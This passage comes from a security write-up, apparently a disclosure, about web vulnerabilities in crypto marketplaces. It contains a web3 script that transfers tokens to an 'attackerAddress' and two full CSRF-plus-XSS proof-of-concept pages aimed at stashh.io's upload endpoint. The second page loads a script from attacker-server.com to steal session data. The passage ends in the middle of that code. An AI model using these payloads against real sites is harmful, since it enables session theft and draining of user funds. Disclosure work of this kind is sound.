to:",{"type":22,"tag":264,"props":33398,"children":33399},{"style":1549},[33400],{"type":27,"value":32926},{"type":22,"tag":264,"props":33402,"children":33403},{"style":1539},[33404],{"type":27,"value":4812},{"type":22,"tag":264,"props":33406,"children":33407},{"class":1534,"line":25046},[33408,33413,33417,33421],{"type":22,"tag":264,"props":33409,"children":33410},{"style":1549},[33411],{"type":27,"value":33412},"        data:",{"type":22,"tag":264,"props":33414,"children":33415},{"style":1549},[33416],{"type":27,"value":33293},{"type":22,"tag":264,"props":33418,"children":33419},{"style":1539},[33420],{"type":27,"value":210},{"type":22,"tag":264,"props":33422,"children":33423},{"style":1549},[33424],{"type":27,"value":33425},"methods\n",{"type":22,"tag":264,"props":33427,"children":33428},{"class":1534,"line":25079},[33429,33434,33439,33443,33448,33452,33457,33461,33466,33470,33475,33479,33484,33488,33493],{"type":22,"tag":264,"props":33430,"children":33431},{"style":1539},[33432],{"type":27,"value":33433},"          .",{"type":22,"tag":264,"props":33435,"children":33436},{"style":4401},[33437],{"type":27,"value":33438},"transfer",{"type":22,"tag":264,"props":33440,"children":33441},{"style":1539},[33442],{"type":27,"value":2660},{"type":22,"tag":264,"props":33444,"children":33445},{"style":1549},[33446],{"type":27,"value":33447},"attackerAddress",{"type":22,"tag":264,"props":33449,"children":33450},{"style":1539},[33451],{"type":27,"value":4380},{"type":22,"tag":264,"props":33453,"children":33454},{"style":1549},[33455],{"type":27,"value":33456},"web3",{"type":22,"tag":264,"props":33458,"children":33459},{"style":1539},[33460],{"type":27,"value":210},{"type":22,"tag":264,"props":33462,"children":33463},{"style":1549},[33464],{"type":27,"value":33465},"utils",{"type":22,"tag":264,"props":33467,"children":33468},{"style":1539},[33469],{"type":27,"value":210},{"type":22,"tag":264,"props":33471,"children":33472},{"style":4401},[33473],{"type":27,"value":33474},"toWei",{"type":22,"tag":264,"props":33476,"children":33477},{"style":1539},[33478],{"type":27,"value":2660},{"type":22,"tag":264,"props":33480,"children":33481},{"style":1597},[33482],{"type":27,"value":33483},"'100000000'",{"type":22,"tag":264,"props":33485,"children":33486},{"style":1539},[33487],{"type":27,"value":4380},{"type":22,"tag":264,"props":33489,"children":33490},{"style":1597},[33491],{"type":27,"value":33492},"'ether'",{"type":22,"tag":264,"props":33494,"children":33495},{"style":1539},[33496],{"type":27,"value":21018},{"type":22,"tag":264,"props":33498,"children":33499},{"class":1534,"line":25087},[33500,33504,33509],{"type":22,"tag":264,"props":33501,"children":33502},{"style":1539},[33503],{"type":27,"value":33433},{"type":22,"tag":264,"props":33505,"children":33506},{"style":4401},[33507],{"type":27,"value":33508},"encodeABI",{"type":22,"tag":264,"props":33510,"children":33511},{"style":1539},[33512],{"type":27,"value":4795},{"type":22,"tag":264,"props":33514,"children":33515},{"class":1534,"line":25095},[33516],{"type":22,"tag":264,"props":33517,"children":33518},{"style":1539},[33519],{"type":27,"value":10216},{"type":22,"tag":264,"props":33521,"children":33522},{"class":1534,"line":25132},[33523],{"type":22,"tag":264,"props":33524,"children":33525},{"emptyLinePlaceholder":17},[33526],{"type":27,"value":4986},{"type":22,"tag":264,"props":33528,"children":33529},{"class":1534,"line":25145},[33530,33535,33539,33543,33547,33552,33556,33561],{"type":22,"tag":264,"props":33531,"children":33532},{"style":1549},[33533],{"type":27,"value":33534},"      web3",{"type":22,"tag":264,"props":33536,"children":33537},{"style":1539},[33538],{"type":27,"value":210},{"type":22,"tag":264,"props":33540,"children":33541},{"style":1549},[33542],{"type":27,"value":33314},{"type":22,"tag":264,"props":33544,"children":33545},{"style":1539},[33546],{"type":27,"value":210},{"type":22,"tag":264,"props":33548,"children":33549},{"style":4401},[33550],{"type":27,"value":33551},"sendTransaction",{"type":22,"tag":264,"props":33553,"children":33554},{"style":1539},[33555],{"type":27,"value":2660},{"type":22,"tag":264,"props":33557,"children":33558},{"style":1549},[33559],{"type":27,"value":33560},"transactionObject",{"type":22,"tag":264,"props":33562,"children":33563},{"style":1539},[33564],{"type":27,"value":5142},{"type":22,"tag":264,"props":33566,"children":33567},{"class":1534,"line":25158},[33568],{"type":22,"tag":264,"props":33569,"children":33570},{"style":1539},[33571],{"type":27,"value":33572},"    });\n",{"type":22,"tag":264,"props":33574,"children":33575},{"class":1534,"line":25171},[33576],{"type":22,"tag":264,"props":33577,"children":33578},{"style":1539},[33579],{"type":27,"value":7163},{"type":22,"tag":264,"props":33581,"children":33582},{"class":1534,"line":25225},[33583],{"type":22,"tag":264,"props":33584,"children":33585},{"style":1539},[33586],{"type":27,"value":1692},{"type":22,"tag":264,"props":33588,"children":33589},{"class":1534,"line":25234},[33590],{"type":22,"tag":264,"props":33591,"children":33592},{"emptyLinePlaceholder":17},[33593],{"type":27,"value":4986},{"type":22,"tag":264,"props":33595,"children":33597},{"class":1534,"line":33596},51,[33598,33602,33606,33611],{"type":22,"tag":264,"props":33599,"children":33600},{"style":4293},[33601],{"type":27,"value":20789},{"type":22,"tag":264,"props":33603,"children":33604},{"style":1539},[33605],{"type":27,"value":2660},{"type":22,"tag":264,"props":33607,"children":33608},{"style":1597},[33609],{"type":27,"value":33610},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":22,"tag":264,"props":33612,"children":33613},{"style":1539},[33614],{"type":27,"value":5142},{"type":22,"tag":264,"props":33616,"children":33618},{"class":1534,"line":33617},52,[33619,33624,33628,33632,33636,33641],{"type":22,"tag":264,"props":33620,"children":33621},{"style":4401},[33622],{"type":27,"value":33623},"setTimeout",{"type":22,"tag":264,"props":33625,"children":33626},{"style":1539},[33627],{"type":27,"value":2660},{"type":22,"tag":264,"props":33629,"children":33630},{"style":1549},[33631],{"type":27,"value":32808},{"type":22,"tag":264,"props":33633,"children":33634},{"style":1539},[33635],{"type":27,"value":4380},{"type":22,"tag":264,"props":33637,"children":33638},{"style":4344},[33639],{"type":27,"value":33640},"1e3",{"type":22,"tag":264,"props":33642,"children":33643},{"style":1539},[33644],{"type":27,"value":5142},{"type":22,"tag":23,"props":33646,"children":33647},{},[33648,33653],{"type":22,"tag":242,"props":33649,"children":33650},{},[33651],{"type":27,"value":33652},"CSRF & XSS",{"type":27,"value":33654},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":22,"tag":23,"props":33656,"children":33657},{},[33658,33660,33665],{"type":27,"value":33659},"Our attention was drawn to ",{"type":22,"tag":69,"props":33661,"children":33663},{"href":32595,"rel":33662},[73],[33664],{"type":27,"value":32599},{"type":27,"value":33666},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":22,"tag":23,"props":33668,"children":33669},{},[33670],{"type":22,"tag":215,"props":33671,"children":33673},{"alt":7,"src":33672},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":22,"tag":23,"props":33675,"children":33676},{},[33677],{"type":27,"value":33678},"and here there is the code:",{"type":22,"tag":618,"props":33680,"children":33682},{"className":32678,"code":33681,"language":32680,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[33683],{"type":22,"tag":257,"props":33684,"children":33685},{"__ignoreMap":7},[33686,33703,33720,33754,33840,33897,34096,34137,34153,34169,34176,34191,34198,34210,34269,34276,34339,34368,34406,34413,34451,34464,34471,34486],{"type":22,"tag":264,"props":33687,"children":33688},{"class":1534,"line":1535},[33689,33694,33699],{"type":22,"tag":264,"props":33690,"children":33692},{"style":33691},"--shiki-default:#808080",[33693],{"type":27,"value":7097},{"type":22,"tag":264,"props":33695,"children":33696},{"style":4293},[33697],{"type":27,"value":33698},"html",{"type":22,"tag":264,"props":33700,"children":33701},{"style":33691},[33702],{"type":27,"value":7284},{"type":22,"tag":264,"props":33704,"children":33705},{"class":1534,"line":1545},[33706,33711,33716],{"type":22,"tag":264,"props":33707,"children":33708},{"style":33691},[33709],{"type":27,"value":33710},"  \u003C",{"type":22,"tag":264,"props":33712,"children":33713},{"style":4293},[33714],{"type":27,"value":33715},"body",{"type":22,"tag":264,"props":33717,"children":33718},{"style":33691},[33719],{"type":27,"value":7284},{"type":22,"tag":264,"props":33721,"children":33722},{"class":1534,"line":1560},[33723,33727,33732,33736,33741,33746,33750],{"type":22,"tag":264,"props":33724,"children":33725},{"style":33691},[33726],{"type":27,"value":33710},{"type":22,"tag":264,"props":33728,"children":33729},{"style":4293},[33730],{"type":27,"value":33731},"script",{"type":22,"tag":264,"props":33733,"children":33734},{"style":33691},[33735],{"type":27,"value":11760},{"type":22,"tag":264,"props":33737,"children":33738},{"style":1539},[33739],{"type":27,"value":33740},"history.pushState('', '', '/')",{"type":22,"tag":264,"props":33742,"children":33743},{"style":33691},[33744],{"type":27,"value":33745},"\u003C/",{"type":22,"tag":264,"props":33747,"children":33748},{"style":4293},[33749],{"type":27,"value":33731},{"type":22,"tag":264,"props":33751,"children":33752},{"style":33691},[33753],{"type":27,"value":7284},{"type":22,"tag":264,"props":33755,"children":33756},{"class":1534,"line":1569},[33757,33762,33767,33772,33776,33781,33786,33790,33795,33799,33803,33808,33813,33817,33822,33827,33831,33836],{"type":22,"tag":264,"props":33758,"children":33759},{"style":33691},[33760],{"type":27,"value":33761},"    \u003C",{"type":22,"tag":264,"props":33763,"children":33764},{"style":4293},[33765],{"type":27,"value":33766},"form",{"type":22,"tag":264,"props":33768,"children":33769},{"style":1549},[33770],{"type":27,"value":33771}," id",{"type":22,"tag":264,"props":33773,"children":33774},{"style":4309},[33775],{"type":27,"value":429},{"type":22,"tag":264,"props":33777,"children":33778},{"style":1597},[33779],{"type":27,"value":33780},"\"form123\"",{"type":22,"tag":264,"props":33782,"children":33783},{"style":1549},[33784],{"type":27,"value":33785}," action",{"type":22,"tag":264,"props":33787,"children":33788},{"style":4309},[33789],{"type":27,"value":429},{"type":22,"tag":264,"props":33791,"children":33792},{"style":1597},[33793],{"type":27,"value":33794},"\"https://stashh.io/upload_asset\"",{"type":22,"tag":264,"props":33796,"children":33797},{"style":1549},[33798],{"type":27,"value":18412},{"type":22,"tag":264,"props":33800,"children":33801},{"style":4309},[33802],{"type":27,"value":429},{"type":22,"tag":264,"props":33804,"children":33805},{"style":1597},[33806],{"type":27,"value":33807},"\"POST\"",{"type":22,"tag":264,"props":33809,"children":33810},{"style":1549},[33811],{"type":27,"value":33812}," enctype",{"type":22,"tag":264,"props":33814,"children":33815},{"style":4309},[33816],{"type":27,"value":429},{"type":22,"tag":264,"props":33818,"children":33819},{"style":1597},[33820],{"type":27,"value":33821},"\"multipart/form-data\"",{"type":22,"tag":264,"props":33823,"children":33824},{"style":1549},[33825],{"type":27,"value":33826}," value",{"type":22,"tag":264,"props":33828,"children":33829},{"style":4309},[33830],{"type":27,"value":429},{"type":22,"tag":264,"props":33832,"children":33833},{"style":1597},[33834],{"type":27,"value":33835},"\"asd\"",{"type":22,"tag":264,"props":33837,"children":33838},{"style":33691},[33839],{"type":27,"value":7284},{"type":22,"tag":264,"props":33841,"children":33842},{"class":1534,"line":1583},[33843,33848,33852,33857,33861,33866,33871,33875,33880,33884,33888,33893],{"type":22,"tag":264,"props":33844,"children":33845},{"style":33691},[33846],{"type":27,"value":33847},"     \u003C",{"type":22,"tag":264,"props":33849,"children":33850},{"style":4293},[33851],{"type":27,"value":9661},{"type":22,"tag":264,"props":33853,"children":33854},{"style":1549},[33855],{"type":27,"value":33856}," type",{"type":22,"tag":264,"props":33858,"children":33859},{"style":4309},[33860],{"type":27,"value":429},{"type":22,"tag":264,"props":33862,"children":33863},{"style":1597},[33864],{"type":27,"value":33865},"\"file\"",{"type":22,"tag":264,"props":33867,"children":33868},{"style":1549},[33869],{"type":27,"value":33870}," name",{"type":22,"tag":264,"props":33872,"children":33873},{"style":4309},[33874],{"type":27,"value":429},{"type":22,"tag":264,"props":33876,"children":33877},{"style":1597},[33878],{"type":27,"value":33879},"\"data\"",{"type":22,"tag":264,"props":33881,"children":33882},{"style":1549},[33883],{"type":27,"value":33771},{"type":22,"tag":264,"props":33885,"children":33886},{"style":4309},[33887],{"type":27,"value":429},{"type":22,"tag":264,"props":33889,"children":33890},{"style":1597},[33891],{"type":27,"value":33892},"\"file123\"",{"type":22,"tag":264,"props":33894,"children":33895},{"style":33691},[33896],{"type":27,"value":7284},{"type":22,"tag":264,"props":33898,"children":33899},{"class":1534,"line":1603},[33900,33905,33909,33913,33917,33922,33926,33930,33935,33939,33943,33947,33952,33957,33962,33967,33972,33976,33981,33986,33991,33995,34000,34005,34009,34014,34019,34024,34029,34034,34039,34044,34048,34053,34058,34063,34068,34073,34077,34082,34087,34091],{"type":22,"tag":264,"props":33901,"children":33902},{"style":33691},[33903],{"type":27,"value":33904},"      \u003C",{"type":22,"tag":264,"props":33906,"children":33907},{"style":4293},[33908],{"type":27,"value":9661},{"type":22,"tag":264,"props":33910,"children":33911},{"style":1549},[33912],{"type":27,"value":33856},{"type":22,"tag":264,"props":33914,"children":33915},{"style":4309},[33916],{"type":27,"value":429},{"type":22,"tag":264,"props":33918,"children":33919},{"style":1597},[33920],{"type":27,"value":33921},"\"hidden\"",{"type":22,"tag":264,"props":33923,"children":33924},{"style":1549},[33925],{"type":27,"value":33870},{"type":22,"tag":264,"props":33927,"children":33928},{"style":4309},[33929],{"type":27,"value":429},{"type":22,"tag":264,"props":33931,"children":33932},{"style":1597},[33933],{"type":27,"value":33934},"\"config\"",{"type":22,"tag":264,"props":33936,"children":33937},{"style":1549},[33938],{"type":27,"value":33826},{"type":22,"tag":264,"props":33940,"children":33941},{"style":4309},[33942],{"type":27,"value":429},{"type":22,"tag":264,"props":33944,"children":33945},{"style":1597},[33946],{"type":27,"value":21366},{"type":22,"tag":264,"props":33948,"children":33949},{"style":4293},[33950],{"type":27,"value":33951},"{"",{"type":22,"tag":264,"props":33953,"children":33954},{"style":1597},[33955],{"type":27,"value":33956},"address",{"type":22,"tag":264,"props":33958,"children":33959},{"style":4293},[33960],{"type":27,"value":33961},"":"",{"type":22,"tag":264,"props":33963,"children":33964},{"style":1597},[33965],{"type":27,"value":33966},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":22,"tag":264,"props":33968,"children":33969},{"style":4293},[33970],{"type":27,"value":33971},"<",{"type":22,"tag":264,"props":33973,"children":33974},{"style":1597},[33975],{"type":27,"value":215},{"type":22,"tag":264,"props":33977,"children":33978},{"style":4293},[33979],{"type":27,"value":33980},"/",{"type":22,"tag":264,"props":33982,"children":33983},{"style":1597},[33984],{"type":27,"value":33985},"src",{"type":22,"tag":264,"props":33987,"children":33988},{"style":4293},[33989],{"type":27,"value":33990},"=",{"type":22,"tag":264,"props":33992,"children":33993},{"style":1597},[33994],{"type":27,"value":20581},{"type":22,"tag":264,"props":33996,"children":33997},{"style":4293},[33998],{"type":27,"value":33999}," ",{"type":22,"tag":264,"props":34001,"children":34002},{"style":1597},[34003],{"type":27,"value":34004},"onerror",{"type":22,"tag":264,"props":34006,"children":34007},{"style":4293},[34008],{"type":27,"value":33990},{"type":22,"tag":264,"props":34010,"children":34011},{"style":1597},[34012],{"type":27,"value":34013},"alert",{"type":22,"tag":264,"props":34015,"children":34016},{"style":4293},[34017],{"type":27,"value":34018},"(",{"type":22,"tag":264,"props":34020,"children":34021},{"style":1597},[34022],{"type":27,"value":34023},"document",{"type":22,"tag":264,"props":34025,"children":34026},{"style":4293},[34027],{"type":27,"value":34028},".",{"type":22,"tag":264,"props":34030,"children":34031},{"style":1597},[34032],{"type":27,"value":34033},"domain",{"type":22,"tag":264,"props":34035,"children":34036},{"style":4293},[34037],{"type":27,"value":34038},")>","",{"type":22,"tag":264,"props":34040,"children":34041},{"style":1597},[34042],{"type":27,"value":34043},"to",{"type":22,"tag":264,"props":34045,"children":34046},{"style":4293},[34047],{"type":27,"value":33961},{"type":22,"tag":264,"props":34049,"children":34050},{"style":1597},[34051],{"type":27,"value":34052},"profile",{"type":22,"tag":264,"props":34054,"children":34055},{"style":4293},[34056],{"type":27,"value":34057},"-",{"type":22,"tag":264,"props":34059,"children":34060},{"style":1597},[34061],{"type":27,"value":34062},"assets",{"type":22,"tag":264,"props":34064,"children":34065},{"style":4293},[34066],{"type":27,"value":34067},"","",{"type":22,"tag":264,"props":34069,"children":34070},{"style":1597},[34071],{"type":27,"value":34072},"type",{"type":22,"tag":264,"props":34074,"children":34075},{"style":4293},[34076],{"type":27,"value":33961},{"type":22,"tag":264,"props":34078,"children":34079},{"style":1597},[34080],{"type":27,"value":34081},"icon",{"type":22,"tag":264,"props":34083,"children":34084},{"style":4293},[34085],{"type":27,"value":34086},""}",{"type":22,"tag":264,"props":34088,"children":34089},{"style":1597},[34090],{"type":27,"value":21366},{"type":22,"tag":264,"props":34092,"children":34093},{"style":33691},[34094],{"type":27,"value":34095}," />\n",{"type":22,"tag":264,"props":34097,"children":34098},{"class":1534,"line":1612},[34099,34103,34107,34111,34115,34120,34124,34128,34133],{"type":22,"tag":264,"props":34100,"children":34101},{"style":33691},[34102],{"type":27,"value":33904},{"type":22,"tag":264,"props":34104,"children":34105},{"style":4293},[34106],{"type":27,"value":9661},{"type":22,"tag":264,"props":34108,"children":34109},{"style":1549},[34110],{"type":27,"value":33856},{"type":22,"tag":264,"props":34112,"children":34113},{"style":4309},[34114],{"type":27,"value":429},{"type":22,"tag":264,"props":34116,"children":34117},{"style":1597},[34118],{"type":27,"value":34119},"\"submit\"",{"type":22,"tag":264,"props":34121,"children":34122},{"style":1549},[34123],{"type":27,"value":33826},{"type":22,"tag":264,"props":34125,"children":34126},{"style":4309},[34127],{"type":27,"value":429},{"type":22,"tag":264,"props":34129,"children":34130},{"style":1597},[34131],{"type":27,"value":34132},"\"Submit request\"",{"type":22,"tag":264,"props":34134,"children":34135},{"style":33691},[34136],{"type":27,"value":34095},{"type":22,"tag":264,"props":34138,"children":34139},{"class":1534,"line":1621},[34140,34145,34149],{"type":22,"tag":264,"props":34141,"children":34142},{"style":33691},[34143],{"type":27,"value":34144},"    \u003C/",{"type":22,"tag":264,"props":34146,"children":34147},{"style":4293},[34148],{"type":27,"value":33766},{"type":22,"tag":264,"props":34150,"children":34151},{"style":33691},[34152],{"type":27,"value":7284},{"type":22,"tag":264,"props":34154,"children":34155},{"class":1534,"line":1629},[34156,34161,34165],{"type":22,"tag":264,"props":34157,"children":34158},{"style":33691},[34159],{"type":27,"value":34160},"  \u003C/",{"type":22,"tag":264,"props":34162,"children":34163},{"style":4293},[34164],{"type":27,"value":33715},{"type":22,"tag":264,"props":34166,"children":34167},{"style":33691},[34168],{"type":27,"value":7284},{"type":22,"tag":264,"props":34170,"children":34171},{"class":1534,"line":1642},[34172],{"type":22,"tag":264,"props":34173,"children":34174},{"emptyLinePlaceholder":17},[34175],{"type":27,"value":4986},{"type":22,"tag":264,"props":34177,"children":34178},{"class":1534,"line":1660},[34179,34183,34187],{"type":22,"tag":264,"props":34180,"children":34181},{"style":33691},[34182],{"type":27,"value":33710},{"type":22,"tag":264,"props":34184,"children":34185},{"style":4293},[34186],{"type":27,"value":33731},{"type":22,"tag":264,"props":34188,"children":34189},{"style":33691},[34190],{"type":27,"value":7284},{"type":22,"tag":264,"props":34192,"children":34193},{"class":1534,"line":1668},[34194],{"type":22,"tag":264,"props":34195,"children":34196},{"emptyLinePlaceholder":17},[34197],{"type":27,"value":4986},{"type":22,"tag":264,"props":34199,"children":34200},{"class":1534,"line":1677},[34201,34206],{"type":22,"tag":264,"props":34202,"children":34203},{"style":1539},[34204],{"type":27,"value":34205},"    (async ()=>",{"type":22,"tag":264,"props":34207,"children":34208},{"style":4293},[34209],{"type":27,"value":1542},{"type":22,"tag":264,"props":34211,"children":34212},{"class":1534,"line":1686},[34213,34218,34223,34228,34233,34237,34241,34246,34250,34255,34260,34265],{"type":22,"tag":264,"props":34214,"children":34215},{"style":1549},[34216],{"type":27,"value":34217},"        const",{"type":22,"tag":264,"props":34219,"children":34220},{"style":1549},[34221],{"type":27,"value":34222}," blob",{"type":22,"tag":264,"props":34224,"children":34225},{"style":4309},[34226],{"type":27,"value":34227}," = ",{"type":22,"tag":264,"props":34229,"children":34230},{"style":4328},[34231],{"type":27,"value":34232},"await",{"type":22,"tag":264,"props":34234,"children":34235},{"style":4309},[34236],{"type":27,"value":4370},{"type":22,"tag":264,"props":34238,"children":34239},{"style":4328},[34240],{"type":27,"value":34232},{"type":22,"tag":264,"props":34242,"children":34243},{"style":4401},[34244],{"type":27,"value":34245}," fetch",{"type":22,"tag":264,"props":34247,"children":34248},{"style":4309},[34249],{"type":27,"value":2660},{"type":22,"tag":264,"props":34251,"children":34252},{"style":1597},[34253],{"type":27,"value":34254},"\"/sapo.png\"",{"type":22,"tag":264,"props":34256,"children":34257},{"style":4309},[34258],{"type":27,"value":34259},")).",{"type":22,"tag":264,"props":34261,"children":34262},{"style":4401},[34263],{"type":27,"value":34264},"blob",{"type":22,"tag":264,"props":34266,"children":34267},{"style":4309},[34268],{"type":27,"value":9029},{"type":22,"tag":264,"props":34270,"children":34271},{"class":1534,"line":4948},[34272],{"type":22,"tag":264,"props":34273,"children":34274},{"emptyLinePlaceholder":17},[34275],{"type":27,"value":4986},{"type":22,"tag":264,"props":34277,"children":34278},{"class":1534,"line":4957},[34279,34283,34288,34292,34296,34301,34306,34310,34314,34319,34324,34329,34334],{"type":22,"tag":264,"props":34280,"children":34281},{"style":1549},[34282],{"type":27,"value":4365},{"type":22,"tag":264,"props":34284,"children":34285},{"style":1549},[34286],{"type":27,"value":34287}," f",{"type":22,"tag":264,"props":34289,"children":34290},{"style":4309},[34291],{"type":27,"value":34227},{"type":22,"tag":264,"props":34293,"children":34294},{"style":4293},[34295],{"type":27,"value":16422},{"type":22,"tag":264,"props":34297,"children":34298},{"style":4401},[34299],{"type":27,"value":34300}," File",{"type":22,"tag":264,"props":34302,"children":34303},{"style":4309},[34304],{"type":27,"value":34305},"([",{"type":22,"tag":264,"props":34307,"children":34308},{"style":1549},[34309],{"type":27,"value":34264},{"type":22,"tag":264,"props":34311,"children":34312},{"style":4309},[34313],{"type":27,"value":24361},{"type":22,"tag":264,"props":34315,"children":34316},{"style":1597},[34317],{"type":27,"value":34318},"'sapo.png'",{"type":22,"tag":264,"props":34320,"children":34321},{"style":4309},[34322],{"type":27,"value":34323},", {",{"type":22,"tag":264,"props":34325,"children":34326},{"style":1549},[34327],{"type":27,"value":34328},"type:",{"type":22,"tag":264,"props":34330,"children":34331},{"style":1597},[34332],{"type":27,"value":34333}," 'image/png'",{"type":22,"tag":264,"props":34335,"children":34336},{"style":4309},[34337],{"type":27,"value":34338},"})\n",{"type":22,"tag":264,"props":34340,"children":34341},{"class":1534,"line":4980},[34342,34346,34351,34355,34359,34364],{"type":22,"tag":264,"props":34343,"children":34344},{"style":1549},[34345],{"type":27,"value":34217},{"type":22,"tag":264,"props":34347,"children":34348},{"style":1549},[34349],{"type":27,"value":34350}," dataTransfer",{"type":22,"tag":264,"props":34352,"children":34353},{"style":4309},[34354],{"type":27,"value":34227},{"type":22,"tag":264,"props":34356,"children":34357},{"style":4293},[34358],{"type":27,"value":16422},{"type":22,"tag":264,"props":34360,"children":34361},{"style":4401},[34362],{"type":27,"value":34363}," DataTransfer",{"type":22,"tag":264,"props":34365,"children":34366},{"style":4309},[34367],{"type":27,"value":4977},{"type":22,"tag":264,"props":34369,"children":34370},{"class":1534,"line":4989},[34371,34376,34380,34385,34389,34393,34397,34402],{"type":22,"tag":264,"props":34372,"children":34373},{"style":1549},[34374],{"type":27,"value":34375},"        dataTransfer",{"type":22,"tag":264,"props":34377,"children":34378},{"style":4309},[34379],{"type":27,"value":210},{"type":22,"tag":264,"props":34381,"children":34382},{"style":1549},[34383],{"type":27,"value":34384},"items",{"type":22,"tag":264,"props":34386,"children":34387},{"style":4309},[34388],{"type":27,"value":210},{"type":22,"tag":264,"props":34390,"children":34391},{"style":4401},[34392],{"type":27,"value":10936},{"type":22,"tag":264,"props":34394,"children":34395},{"style":4309},[34396],{"type":27,"value":2660},{"type":22,"tag":264,"props":34398,"children":34399},{"style":1549},[34400],{"type":27,"value":34401},"f",{"type":22,"tag":264,"props":34403,"children":34404},{"style":4309},[34405],{"type":27,"value":5142},{"type":22,"tag":264,"props":34407,"children":34408},{"class":1534,"line":4998},[34409],{"type":22,"tag":264,"props":34410,"children":34411},{"emptyLinePlaceholder":17},[34412],{"type":27,"value":4986},{"type":22,"tag":264,"props":34414,"children":34415},{"class":1534,"line":5067},[34416,34421,34425,34430,34434,34439,34443,34447],{"type":22,"tag":264,"props":34417,"children":34418},{"style":1549},[34419],{"type":27,"value":34420},"        file123",{"type":22,"tag":264,"props":34422,"children":34423},{"style":4309},[34424],{"type":27,"value":210},{"type":22,"tag":264,"props":34426,"children":34427},{"style":1549},[34428],{"type":27,"value":34429},"files",{"type":22,"tag":264,"props":34431,"children":34432},{"style":4309},[34433],{"type":27,"value":34227},{"type":22,"tag":264,"props":34435,"children":34436},{"style":1549},[34437],{"type":27,"value":34438},"dataTransfer",{"type":22,"tag":264,"props":34440,"children":34441},{"style":4309},[34442],{"type":27,"value":210},{"type":22,"tag":264,"props":34444,"children":34445},{"style":1549},[34446],{"type":27,"value":34429},{"type":22,"tag":264,"props":34448,"children":34449},{"style":4309},[34450],{"type":27,"value":4322},{"type":22,"tag":264,"props":34452,"children":34453},{"class":1534,"line":5075},[34454,34459],{"type":22,"tag":264,"props":34455,"children":34456},{"style":4293},[34457],{"type":27,"value":34458},"    }",{"type":22,"tag":264,"props":34460,"children":34461},{"style":1539},[34462],{"type":27,"value":34463},")()\n",{"type":22,"tag":264,"props":34465,"children":34466},{"class":1534,"line":5105},[34467],{"type":22,"tag":264,"props":34468,"children":34469},{"emptyLinePlaceholder":17},[34470],{"type":27,"value":4986},{"type":22,"tag":264,"props":34472,"children":34473},{"class":1534,"line":5113},[34474,34478,34482],{"type":22,"tag":264,"props":34475,"children":34476},{"style":33691},[34477],{"type":27,"value":34160},{"type":22,"tag":264,"props":34479,"children":34480},{"style":4293},[34481],{"type":27,"value":33731},{"type":22,"tag":264,"props":34483,"children":34484},{"style":33691},[34485],{"type":27,"value":7284},{"type":22,"tag":264,"props":34487,"children":34488},{"class":1534,"line":5145},[34489,34493,34497],{"type":22,"tag":264,"props":34490,"children":34491},{"style":33691},[34492],{"type":27,"value":33745},{"type":22,"tag":264,"props":34494,"children":34495},{"style":4293},[34496],{"type":27,"value":33698},{"type":22,"tag":264,"props":34498,"children":34499},{"style":33691},[34500],{"type":27,"value":7284},{"type":22,"tag":23,"props":34502,"children":34503},{},[34504],{"type":27,"value":34505},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":22,"tag":23,"props":34507,"children":34508},{},[34509],{"type":27,"value":34510},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":22,"tag":23,"props":34512,"children":34513},{},[34514],{"type":27,"value":34515},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":22,"tag":23,"props":34517,"children":34518},{},[34519],{"type":27,"value":34520},"From here, we were able to steal the session cookie from local storage.",{"type":22,"tag":618,"props":34522,"children":34524},{"className":32678,"code":34523,"language":32680,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  